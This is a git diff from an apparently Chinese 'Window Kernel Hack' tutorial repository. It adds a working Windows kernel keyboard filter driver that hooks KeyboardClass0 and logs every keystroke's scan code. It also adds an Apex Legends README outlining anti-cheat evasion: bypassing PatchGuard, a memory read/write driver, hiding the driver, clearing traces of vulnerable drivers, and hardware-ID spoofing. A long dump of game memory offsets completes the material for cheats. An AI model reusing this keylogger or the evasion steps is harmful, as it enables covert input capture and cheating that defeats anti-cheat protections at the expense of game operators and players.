{0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win8.1 Debug|x64.Deploy.0 = Win8.1 Debug|x64 + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win8.1 Release|Win32.ActiveCfg = Win8.1 Release|Win32 + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win8.1 Release|Win32.Build.0 = Win8.1 Release|Win32 + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win8.1 Release|Win32.Deploy.0 = Win8.1 Release|Win32 + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win8.1 Release|x64.ActiveCfg = Win8.1 Release|x64 + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win8.1 Release|x64.Build.0 = Win8.1 Release|x64 + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F}.Win8.1 Release|x64.Deploy.0 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\351\224\256\347\233\230\347\233\221\345\220\254/KeyboardLog_Test/KeyboardLog_Test.v12.suo" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\351\224\256\347\233\230\347\233\221\345\220\254/KeyboardLog_Test/KeyboardLog_Test.v12.suo" new file mode 100644 index 0000000..a5417dc Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\351\224\256\347\233\230\347\233\221\345\220\254/KeyboardLog_Test/KeyboardLog_Test.v12.suo" differ diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\351\224\256\347\233\230\347\233\221\345\220\254/KeyboardLog_Test/KeyboardLog_Test/Driver.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\351\224\256\347\233\230\347\233\221\345\220\254/KeyboardLog_Test/KeyboardLog_Test/Driver.c" new file mode 100644 index 0000000..0dba9f8 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\351\224\256\347\233\230\347\233\221\345\220\254/KeyboardLog_Test/KeyboardLog_Test/Driver.c" @@ -0,0 +1,295 @@ +#include "Driver.h" + + +NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath) +{ + DbgPrint("Enter DriverEntry\n"); + NTSTATUS status = STATUS_SUCCESS; + ULONG i = 0; + + for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) + { + pDriverObject->MajorFunction[i] = DriverDefaultHandle; + } + + pDriverObject->DriverUnload = DriverUnload; + pDriverObject->MajorFunction[IRP_MJ_CREATE] = DriverDefaultHandle; + pDriverObject->MajorFunction[IRP_MJ_CLOSE] = DriverDefaultHandle; + pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverControlHandle; + + pDriverObject->MajorFunction[IRP_MJ_READ] = DriverRead; + pDriverObject->MajorFunction[IRP_MJ_POWER] = DriverPower; + + // 豸 + status = CreateDevice(pDriverObject); + if (!NT_SUCCESS(status)) + { + DbgPrint("CreateDevice Error[0x%X]\n", status); + return status; + } + + // 豸豸ջ + status = AttachKdbClass(pDriverObject->DeviceObject); + if (!NT_SUCCESS(status)) + { + DbgPrint("AttachKdbClass Error[0x%X]\n", status); + return status; + } + + DbgPrint("Leave DriverEntry\n"); + return status; +} + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject) +{ + DbgPrint("Enter DriverUnload\n"); + PDEVICE_OBJECT pDevObj = pDriverObject->DeviceObject; + LARGE_INTEGER liDelay = { 0 }; + + if (NULL == pDevObj) + { + return; + } + if (NULL == pDevObj->DeviceExtension) + { + return; + } + + // Ȱѹ豸ͼ豸, µIRP_MJ_READ + IoDetachDevice(((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->pAttachDevObj); + + // ΪɵIRPΪֻǰͨIoSetCompletionRoutineѾIO + // ôδɵIRP ֮ ò豸ĺ + // Ҫֶ, pending״̬IRPɷ + liDelay.QuadPart = -1000000; + while (0 < ((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->ulIrpInQuene) + { + KdPrint(("ʣIRP:%d\n", ((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->ulIrpInQuene)); + KeDelayExecutionThread(KernelMode, FALSE, &liDelay); + /* + // ÷Win10ϲ + if (1 == ((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->ulIrpInQuene) + { + //ȡһIRP + IoCancelIrp(((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->pLastIrp); + } + */ + } + + UNICODE_STRING ustrSymName; + RtlInitUnicodeString(&ustrSymName, SYM_NAME); + IoDeleteSymbolicLink(&ustrSymName); + + if (pDriverObject->DeviceObject) + { + IoDeleteDevice(pDriverObject->DeviceObject); + } + + DbgPrint("Leave DriverUnload\n"); +} + + +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + DbgPrint("Enter DriverDefaultHandle\n"); + + NTSTATUS status = STATUS_SUCCESS; + + pIrp->IoStatus.Status = status; + pIrp->IoStatus.Information = 0; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + + DbgPrint("Leave DriverDefaultHandle\n"); + return status; +} + + +NTSTATUS DriverControlHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + DbgPrint("Enter DriverControlHandle\n"); + NTSTATUS status = STATUS_SUCCESS; + PIO_STACK_LOCATION pIoStackLocation = IoGetCurrentIrpStackLocation(pIrp); + ULONG ulInputLength = pIoStackLocation->Parameters.DeviceIoControl.InputBufferLength; + ULONG ulOutputLength = pIoStackLocation->Parameters.DeviceIoControl.OutputBufferLength; + ULONG ulControlCode = pIoStackLocation->Parameters.DeviceIoControl.IoControlCode; + ULONG ulInfo = 0; + PVOID pBuf = pIrp->AssociatedIrp.SystemBuffer; + + switch (ulControlCode) + { + case IOCTL_TEST: + { + break; + } + default: + break; + } + + pIrp->IoStatus.Status = status; + pIrp->IoStatus.Information = ulInfo; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + + DbgPrint("Enter DriverControlHandle\n"); + return status; +} + + +NTSTATUS DriverPower(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + DbgPrint("Enter DriverPower\n"); + NTSTATUS status = STATUS_SUCCESS; + + PoStartNextPowerIrp(pIrp); + IoSkipCurrentIrpStackLocation(pIrp); + status = PoCallDriver(((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->pAttachDevObj, pIrp); + + DbgPrint("Leave DriverPower\n"); + return status; +} + + +NTSTATUS DriverRead(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + DbgPrint("\nEnter DriverRead\n"); + NTSTATUS status = STATUS_SUCCESS; + + // pIrp IO_STACK_LOCATION һ豸 + IoCopyCurrentIrpStackLocationToNext(pIrp); + + // ʵ + IoSetCompletionRoutine(pIrp, ReadCompleteRoutine, pDevObj, TRUE, TRUE, TRUE); + + // ¼IRP + ((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->ulIrpInQuene++; + + // IRPһ豸 + status = IoCallDriver(((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->pAttachDevObj, pIrp); + + DbgPrint("Leave DriverRead\n"); + return status; +} + + +NTSTATUS ReadCompleteRoutine(PDEVICE_OBJECT pDevObj, PIRP pIrp, PVOID pContext) +{ + NTSTATUS status = pIrp->IoStatus.Status; + PKEYBOARD_INPUT_DATA pKeyboardInputData = NULL; + ULONG ulKeyCount = 0, i = 0; + + if (NT_SUCCESS(status)) + { + pKeyboardInputData = (PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer; + ulKeyCount = (ULONG)pIrp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA); + + // ȡ + for (i = 0; i < ulKeyCount; i++) + { + // Key Press + if (KEY_MAKE == pKeyboardInputData[i].Flags) + { + // ɨ + DbgPrint("[Down][0x%X]\n", pKeyboardInputData[i].MakeCode); + } + // Key Release + else if (KEY_BREAK == pKeyboardInputData[i].Flags) + { + // ɨ + DbgPrint("[Up][0x%X]\n", pKeyboardInputData[i].MakeCode); + } + //һ䣬Ȼ󰴼ȫΪ A +// pKeyboardInputData[i].MakeCode = 0x1e; + } + } + + if (pIrp->PendingReturned) + { + IoMarkIrpPending(pIrp); + } + + // IRPڶе + ((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->ulIrpInQuene--; + + status = pIrp->IoStatus.Status; + return status; +} + + +NTSTATUS CreateDevice(PDRIVER_OBJECT pDriverObject) +{ + DbgPrint("Enter CreateDevice\n"); + NTSTATUS status = STATUS_SUCCESS; + UNICODE_STRING ustrDevName, ustrSymName; + PDEVICE_OBJECT pDevObj = NULL; + + RtlInitUnicodeString(&ustrDevName, DEV_NAME); + RtlInitUnicodeString(&ustrSymName, SYM_NAME); + + // 豸 + status = IoCreateDevice(pDriverObject, sizeof(DEVICE_EXTENSION), &ustrDevName, FILE_DEVICE_KEYBOARD, 0, FALSE, &pDevObj); + if (!NT_SUCCESS(status)) + { + DbgPrint("IoCreateDevice Error[0x%X]\n", status); + return status; + } + + // + status = IoCreateSymbolicLink(&ustrSymName, &ustrDevName); + if (!NT_SUCCESS(status)) + { + DbgPrint("IoCreateSymbolicLink Error[0x%X]\n", status); + return status; + } + + DbgPrint("Enter CreateDevice\n"); + return status; +} + + +NTSTATUS AttachKdbClass(PDEVICE_OBJECT pDevObj) +{ + DbgPrint("Enter HookKdbClass\n"); + NTSTATUS status = STATUS_SUCCESS; + UNICODE_STRING ustrObjectName; + PFILE_OBJECT pFileObj = NULL; + PDEVICE_OBJECT pKeyboardClassDeviceObject = NULL, pAttachDevObj = NULL; + + RtlInitUnicodeString(&ustrObjectName, L"\\Device\\KeyboardClass0"); + + // ȡ豸ָ + status = IoGetDeviceObjectPointer(&ustrObjectName, GENERIC_READ | GENERIC_WRITE, &pFileObj, &pKeyboardClassDeviceObject); + if (!NT_SUCCESS(status)) + { + DbgPrint("IoGetDeviceObjectPointer Error[0x%X]\n", status); + return status; + } + // + ObReferenceObject(pFileObj); + + // ǰ豸ӵ豸豸ջ, صԭ豸ջϵջ豸, ǰջϸ豸һ豸 + pAttachDevObj = IoAttachDeviceToDeviceStack(pDevObj, pKeyboardClassDeviceObject); + if (NULL == pAttachDevObj) + { + DbgPrint("IoAttachDeviceToDeviceStack Error\n"); + return STATUS_UNSUCCESSFUL; + } + + // ô豸ı־Ҫ븽ӵ豸ջϵ豸־һ + pDevObj->Flags = pDevObj->Flags | DO_BUFFERED_IO | DO_POWER_PAGABLE; + pDevObj->ActiveThreadCount = pDevObj->ActiveThreadCount & (~DO_DEVICE_INITIALIZING); + + + // һ豸DeviceExtension + ((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->pAttachDevObj = pAttachDevObj; + ((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->ulIrpInQuene = 0; + + DbgPrint("Leave HookKdbClass\n"); + return status; +} + + + + + + + diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\351\224\256\347\233\230\347\233\221\345\220\254/KeyboardLog_Test/KeyboardLog_Test/Driver.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\351\224\256\347\233\230\347\233\221\345\220\254/KeyboardLog_Test/KeyboardLog_Test/Driver.h" new file mode 100644 index 0000000..8836aec --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\351\224\256\347\233\230\347\233\221\345\220\254/KeyboardLog_Test/KeyboardLog_Test/Driver.h" @@ -0,0 +1,33 @@ +#ifndef _DRIVER_H_ +#define _DRIVER_H_ + + +#include +#include + + +#define DEV_NAME L"\\Device\\KEYBOARD_LOG_DEV_NAME" +#define SYM_NAME L"\\DosDevices\\KEYBOARD_LOG_SYM_NAME" +#define IOCTL_TEST CTL_CODE(FILE_DEVICE_KEYBOARD, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) + + +typedef struct _DEVICE_EXTENSION +{ + PDEVICE_OBJECT pAttachDevObj; + ULONG ulIrpInQuene; + +}DEVICE_EXTENSION, *PDEVICE_EXTENSION; + + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject); +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp); +NTSTATUS DriverControlHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp); +NTSTATUS DriverRead(PDEVICE_OBJECT pDevObj, PIRP pIrp); +NTSTATUS DriverPower(PDEVICE_OBJECT pDevObj, PIRP pIrp); +NTSTATUS ReadCompleteRoutine(PDEVICE_OBJECT pDevObj, PIRP pIrp, PVOID pContext); +NTSTATUS CreateDevice(PDRIVER_OBJECT pDriverObject); +NTSTATUS AttachKdbClass(PDEVICE_OBJECT pDevObj); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\351\224\256\347\233\230\347\233\221\345\220\254/KeyboardLog_Test/KeyboardLog_Test/KeyboardLog_Test.inf" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\351\224\256\347\233\230\347\233\221\345\220\254/KeyboardLog_Test/KeyboardLog_Test/KeyboardLog_Test.inf" new file mode 100644 index 0000000..4bcc8aa --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\351\224\256\347\233\230\347\233\221\345\220\254/KeyboardLog_Test/KeyboardLog_Test/KeyboardLog_Test.inf" @@ -0,0 +1,32 @@ +; +; KeyboardLog_Test.inf +; + +[Version] +Signature="$WINDOWS NT$" +Class= +ClassGuid= +Provider= +DriverVer= +CatalogFile= + +[DestinationDirs] +DefaultDestDir = 12 + + +[SourceDisksNames] +1 = %DiskName%,,,"" + +[SourceDisksFiles] + + +[Manufacturer] +%ManufacturerName%=Standard,NT$ARCH$ + +[Standard.NT$ARCH$] + + +[Strings] +ManufacturerName="" +ClassName="" +DiskName="KeyboardLog_Test Source Disk" diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\351\224\256\347\233\230\347\233\221\345\220\254/KeyboardLog_Test/KeyboardLog_Test/KeyboardLog_Test.vcxproj" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\351\224\256\347\233\230\347\233\221\345\220\254/KeyboardLog_Test/KeyboardLog_Test/KeyboardLog_Test.vcxproj" new file mode 100644 index 0000000..e5ca38d --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\351\224\256\347\233\230\347\233\221\345\220\254/KeyboardLog_Test/KeyboardLog_Test/KeyboardLog_Test.vcxproj" @@ -0,0 +1,259 @@ + + + + + Win8.1 Debug + Win32 + + + Win8.1 Release + Win32 + + + Win8 Debug + Win32 + + + Win8 Release + Win32 + + + Win7 Debug + Win32 + + + Win7 Release + Win32 + + + Win8.1 Debug + x64 + + + Win8.1 Release + x64 + + + Win8 Debug + x64 + + + Win8 Release + x64 + + + Win7 Debug + x64 + + + Win7 Release + x64 + + + + {0E60D0BD-DD84-45D7-BA4D-4A797AA8D28F} + {dd38f7fc-d7bd-488b-9242-7d8754cde80d} + v4.5 + 11.0 + Win8.1 Debug + Win32 + KeyboardLog_Test + + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + + + + + + + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\351\224\256\347\233\230\347\233\221\345\220\254/KeyboardLog_Test/KeyboardLog_Test/KeyboardLog_Test.vcxproj.filters" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\351\224\256\347\233\230\347\233\221\345\220\254/KeyboardLog_Test/KeyboardLog_Test/KeyboardLog_Test.vcxproj.filters" new file mode 100644 index 0000000..4d58220 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\351\224\256\347\233\230\347\233\221\345\220\254/KeyboardLog_Test/KeyboardLog_Test/KeyboardLog_Test.vcxproj.filters" @@ -0,0 +1,36 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {8E41214B-6785-4CFE-B992-037D68949A14} + inf;inv;inx;mof;mc; + + + + + Driver Files + + + + + Header Files + + + + + Source Files + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\351\224\256\347\233\230\347\233\221\345\220\254/KeyboardLog_Test/KeyboardLog_Test/KeyboardLog_Test.vcxproj.user" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\351\224\256\347\233\230\347\233\221\345\220\254/KeyboardLog_Test/KeyboardLog_Test/KeyboardLog_Test.vcxproj.user" new file mode 100644 index 0000000..9a16bb4 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\351\224\256\347\233\230\347\233\221\345\220\254/KeyboardLog_Test/KeyboardLog_Test/KeyboardLog_Test.vcxproj.user" @@ -0,0 +1,43 @@ + + + + Off + Win7x64DriverDebug + + + Off + Win7x64DriverDebug + + + Off + Win7x64DriverDebug + + + Off + Win7x64DriverDebug + + + Win7x64DriverDebug + + + Win7x64DriverDebug + + + Win7x64DriverDebug + + + Win7x64DriverDebug + + + Win7x64DriverDebug + + + Win7x64DriverDebug + + + Win7x64DriverDebug + + + Win7x64DriverDebug + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/README.md" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/README.md" new file mode 100644 index 0000000..ab0c42a --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/README.md" @@ -0,0 +1,21 @@ +# 前言 + +[apex dump](https://github.com/CasualX/pelite/tree/master/examples/apex) + +这个我怎么搞都搞不过,老是编译失败,会rust的兄弟可以自己去试试看 + +搞不过,还是要自己写一个sig匹配,无语..... + +在这里说一下过EAC的办法吧(我自己现在用的,没被封禁) + +1.bypass pg(没过这个后面很难搞的,动不动就是0x109蓝屏) + +2.read/write process memory driver(没读写驱动就没戏呀,我用MDL方式读写内存的) + +3.hide driver(把驱动隐藏了为妙,不然不太稳感觉) + +4.clear all trace(比如你使用了漏洞驱动/泄露签名证书驱动....这些痕迹都要清空了去) + +5.hdd spoofer(我的电脑被锁硬件了,要改) + +6.over(相对安全了) diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[dump] [offsets] [tools]/apex_202_10_10.md" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[dump] [offsets] [tools]/apex_202_10_10.md" new file mode 100644 index 0000000..4cd3f63 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[dump] [offsets] [tools]/apex_202_10_10.md" @@ -0,0 +1,36437 @@ +## Interfaces + +``` +r5apex.exe!0x01195318 ClientRenderTargets001 +r5apex.exe!0x0118a7a8 EngineTraceClient004 +r5apex.exe!0x01189278 EngineTraceClientDecals004 +r5apex.exe!0x01889100 EventSystem001 +r5apex.exe!0x01e6ef40 GameUI011 +r5apex.exe!0x0118d888 ISoundC002 +r5apex.exe!0x01ca1338 RunGameEngine005 +r5apex.exe!0x012e4a80 ShaderSystem002 +r5apex.exe!0x01895210 VClient018 +r5apex.exe!0x01b2d3f8 VClientEntityList003 +r5apex.exe!0x01e6def0 VClientPrediction001 +r5apex.exe!0x0118c1c0 VCvarQuery001 +r5apex.exe!0x0118a8f0 VDebugOverlay004 +r5apex.exe!0x0118e978 VENGINE_GAMEUIFUNCS_VERSION005 +r5apex.exe!0x012d1c30 VENGINE_LAUNCHER_API_VERSION004 +r5apex.exe!0x01198bf0 VEngineModel016 +r5apex.exe!0x0118cd58 VEngineRandom001 +r5apex.exe!0x0118c6a8 VEngineRenderView013 +r5apex.exe!0x01e8d310 VGUI_System010 +r5apex.exe!0x0118f188 VMaterialSystemConfig004 +``` + +## Miscellaneous + +``` +TimeDateStamp = 0x5f6d432f +CheckSum = 0x1fc1a53 +GameVersion = "v3.0.4.150" +NUM_ENT_ENTRIES = 0x10000 +r5apex.exe!0x18ad3a8 cl_entitylist +r5apex.exe!0x1191ebc LocalEntityHandle +r5apex.exe!0x1c5bcc8 LocalPlayer +r5apex.exe!0x1261c80 GlobalVars +r5apex.exe!0x40d5d98 ViewRender + 0x1b3bd0 ViewMatrix +r5apex.exe!0x1261f80 ClientState +r5apex.exe!0x1262018 SignonState +r5apex.exe!0x1262130 LevelName +CWeaponX!0x1e0c m_flProjectileSpeed +CWeaponX!0x1e14 m_flProjectileScale +``` + +## Buttons + +These are addresses to global instances of the [`kbutton_t`](https://github.com/ValveSoftware/source-sdk-2013/blob/master/mp/src/game/client/kbutton.h#L14-L20) struct. + +``` +r5apex.exe!0x040d5e68 kbutton_t in_attack +r5apex.exe!0x040d5e00 kbutton_t in_backward +r5apex.exe!0x081685e0 kbutton_t in_break +r5apex.exe!0x08566980 kbutton_t in_camin +r5apex.exe!0x08168920 kbutton_t in_camout +r5apex.exe!0x081688d0 kbutton_t in_campitchdown +r5apex.exe!0x08566a08 kbutton_t in_campitchup +r5apex.exe!0x08168958 kbutton_t in_camyawleft +r5apex.exe!0x08168900 kbutton_t in_camyawright +r5apex.exe!0x040d5e28 kbutton_t in_commandermousemove +r5apex.exe!0x040d5ef8 kbutton_t in_dodge +r5apex.exe!0x08168600 kbutton_t in_duck +r5apex.exe!0x040d5dd8 kbutton_t in_forward +r5apex.exe!0x040d5e78 kbutton_t in_graph +r5apex.exe!0x040d5ee0 kbutton_t in_jump +r5apex.exe!0x085669e0 kbutton_t in_klook +r5apex.exe!0x08168940 kbutton_t in_left +r5apex.exe!0x081688f0 kbutton_t in_lookdown +r5apex.exe!0x081685f0 kbutton_t in_lookup +r5apex.exe!0x085669f0 kbutton_t in_melee +r5apex.exe!0x08168968 kbutton_t in_movedown +r5apex.exe!0x040d5dc8 kbutton_t in_moveleft +r5apex.exe!0x040d5df0 kbutton_t in_moveright +r5apex.exe!0x085669c0 kbutton_t in_moveup +r5apex.exe!0x085669d0 kbutton_t in_offhand0 +r5apex.exe!0x08168930 kbutton_t in_offhand1 +r5apex.exe!0x081686f8 kbutton_t in_offhand2 +r5apex.exe!0x081686d8 kbutton_t in_offhand3 +r5apex.exe!0x08168690 kbutton_t in_offhand4 +r5apex.exe!0x040d5ec8 kbutton_t in_pause_menu +r5apex.exe!0x040d5e38 kbutton_t in_ping +r5apex.exe!0x040d5e88 kbutton_t in_reload +r5apex.exe!0x08168910 kbutton_t in_right +r5apex.exe!0x08168708 kbutton_t in_score +r5apex.exe!0x08168708 kbutton_t in_showscores +r5apex.exe!0x040d5e10 kbutton_t in_speed +r5apex.exe!0x040d5e98 kbutton_t in_strafe +r5apex.exe!0x085669a0 kbutton_t in_toggle_duck +r5apex.exe!0x08566990 kbutton_t in_toggle_zoom +r5apex.exe!0x081686e8 kbutton_t in_use +r5apex.exe!0x08168680 kbutton_t in_useAndReload +r5apex.exe!0x085669b0 kbutton_t in_use_alt +r5apex.exe!0x08168670 kbutton_t in_use_long +r5apex.exe!0x040d5eb0 kbutton_t in_variableScopeToggle +r5apex.exe!0x081686b0 kbutton_t in_walk +r5apex.exe!0x081688e0 kbutton_t in_weaponCycle +r5apex.exe!0x081686a0 kbutton_t in_weapon_discard +r5apex.exe!0x081686c8 kbutton_t in_zoom +``` + +## ClientClasses + +
+client_class CAI_BaseNPC + +class_id: `0` +sizeof: `7488` +
+
+client_class CAmbientGeneric + +class_id: `0` +sizeof: `2752` +
+
+client_class CBaseAnimating + +class_id: `0` +sizeof: `5632` +
+
+client_class CBaseAnimatingOverlay + +class_id: `0` +sizeof: `6528` +
+
+client_class CBaseButton + +class_id: `0` +sizeof: `2752` +
+
+client_class CBaseCombatCharacter + +class_id: `0` +sizeof: `7040` +
+
+client_class CBaseEntity + +class_id: `0` +sizeof: `2624` +
+
+client_class CBaseGrenade + +class_id: `0` +sizeof: `11520` +
+
+client_class CBaseParticleEntity + +class_id: `0` +sizeof: `2624` +
+
+client_class CBaseTempEntity + +class_id: `0` +sizeof: `40` +
+
+client_class CBaseToggle + +class_id: `0` +sizeof: `2688` +
+
+client_class CBaseTrigger + +class_id: `0` +sizeof: `2752` +
+
+client_class CBaseVPhysicsTrigger + +class_id: `0` +sizeof: `2688` +
+
+client_class CBaseViewModel + +class_id: `0` +sizeof: `20352` +
+
+client_class CBoneFollower + +class_id: `0` +sizeof: `2688` +
+
+client_class CBreakableProp + +class_id: `0` +sizeof: `5632` +
+
+client_class CBreakableSurface + +class_id: `0` +sizeof: `3776` +
+
+client_class CCascadeLight + +class_id: `0` +sizeof: `3008` +
+
+client_class CColorCorrection + +class_id: `0` +sizeof: `3008` +
+
+client_class CCrossbowBolt + +class_id: `0` +sizeof: `11392` +
+
+client_class CDeathBoxProp + +class_id: `0` +sizeof: `5760` +
+
+client_class CDynamicLight + +class_id: `0` +sizeof: `2688` +
+
+client_class CDynamicProp + +class_id: `0` +sizeof: `5696` +
+
+client_class CDynamicPropLightweight + +class_id: `0` +sizeof: `5696` +
+
+client_class CEntityBlocker + +class_id: `0` +sizeof: `2624` +
+
+client_class CEntityDissolve + +class_id: `0` +sizeof: `2688` +
+
+client_class CEntityLinkPage + +class_id: `0` +sizeof: `4736` +
+
+client_class CEnvDecoy + +class_id: `0` +sizeof: `5632` +
+
+client_class CEnvWind + +class_id: `0` +sizeof: `3008` +
+
+client_class CFirstPersonProxy + +class_id: `0` +sizeof: `5760` +
+
+client_class CFuncBrush + +class_id: `0` +sizeof: `2752` +
+
+client_class CFuncBrushLightweight + +class_id: `0` +sizeof: `2752` +
+
+client_class CFuncMoveLinear + +class_id: `0` +sizeof: `2688` +
+
+client_class CGameRulesProxy + +class_id: `0` +sizeof: `2624` +
+
+client_class CGlobalNonRewinding + +class_id: `0` +sizeof: `4736` +
+
+client_class CGrappleHook + +class_id: `0` +sizeof: `5696` +
+
+client_class CHardPointEntity + +class_id: `0` +sizeof: `2688` +
+
+client_class CHardPointFrontierEntity + +class_id: `0` +sizeof: `2688` +
+
+client_class CHealthKit + +class_id: `0` +sizeof: `5632` +
+
+client_class CImportantOnEntSound + +class_id: `0` +sizeof: `2688` +
+
+client_class CInfoPlacementHelper + +class_id: `0` +sizeof: `2688` +
+
+client_class CInfoTarget + +class_id: `0` +sizeof: `2624` +
+
+client_class CInfoTargetGravity + +class_id: `0` +sizeof: `2688` +
+
+client_class CInfoTargetMinimap + +class_id: `0` +sizeof: `2624` +
+
+client_class CLootGrabber + +class_id: `0` +sizeof: `5760` +
+
+client_class CMissile + +class_id: `0` +sizeof: `11712` +
+
+client_class CMovieDisplay + +class_id: `0` +sizeof: `3008` +
+
+client_class CNPC_Drone + +class_id: `0` +sizeof: `7552` +
+
+client_class CNPC_Dropship + +class_id: `0` +sizeof: `7616` +
+
+client_class CNPC_SentryTurret + +class_id: `0` +sizeof: `7552` +
+
+client_class CNPC_Titan + +class_id: `0` +sizeof: `7680` +
+
+client_class CParticleSystem + +class_id: `0` +sizeof: `2816` +
+
+client_class CPhysicsProp + +class_id: `0` +sizeof: `5760` +
+
+client_class CPlayer + +class_id: `0` +sizeof: `17472` +
+
+client_class CPlayerDecoy + +class_id: `0` +sizeof: `5760` +
+
+client_class CPlayerTasklist + +class_id: `0` +sizeof: `4032` +
+
+client_class CPlayerVehicle + +class_id: `0` +sizeof: `7360` +
+
+client_class CPlayerWaypoint + +class_id: `0` +sizeof: `3392` +
+
+client_class CPointCamera + +class_id: `0` +sizeof: `2816` +
+
+client_class CPortal_PointPush + +class_id: `0` +sizeof: `2688` +
+
+client_class CPostProcessController + +class_id: `0` +sizeof: `2688` +
+
